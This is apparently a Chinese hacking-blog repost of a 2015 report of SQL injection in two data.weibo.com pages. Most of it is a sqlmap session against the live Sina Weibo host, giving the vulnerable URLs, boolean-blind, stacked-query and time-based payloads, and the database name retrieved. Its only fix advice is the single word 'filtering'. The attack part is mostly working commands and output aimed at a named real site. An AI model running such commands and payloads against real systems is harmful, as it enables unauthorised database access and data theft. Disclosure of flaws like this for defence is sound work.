记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

新浪微博某站点SQL注入两处

2015-01-07 01:20

新浪微博某站点SQL注入两处

漏洞url


id参数存在注入
http://data.weibo.com/report/analystarticle?id=2205075871
http://data.weibo.com/report/reportDetail?id=193

D:\sqlmap>sqlmap -u "http://data.weibo.com/report/analystarticle?id=2131772313"
--current-db

sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program

[*] starting at 17:03:15

[17:03:16] [INFO] using 'D:\sqlmap\output\data.weibo.com\session' as session fil
e
[17:03:16] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[17:03:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2131772313 AND 1282=1282

Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: id=2131772313; SELECT SLEEP(5);#

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=2131772313 AND SLEEP(5)
---

[17:03:17] [INFO] the back-end DBMS is MySQL

web application technology: Apache
back-end DBMS: MySQL 5.0.11
[17:03:17] [INFO] fetching current database
[17:03:17] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[17:03:17] [INFO] retrieved: distribute_multi_issue
current database: 'distribute_multi_issue'


 

sina22.PNG


 

sina23.PNG



一些表
 

sina21.PNG

解决方案:

过滤


知识来源: www.2cto.com/Article/201501/367150.html

阅读:136000 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“新浪微博某站点SQL注入两处”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄⛄️

ADS

标签云

本页关键词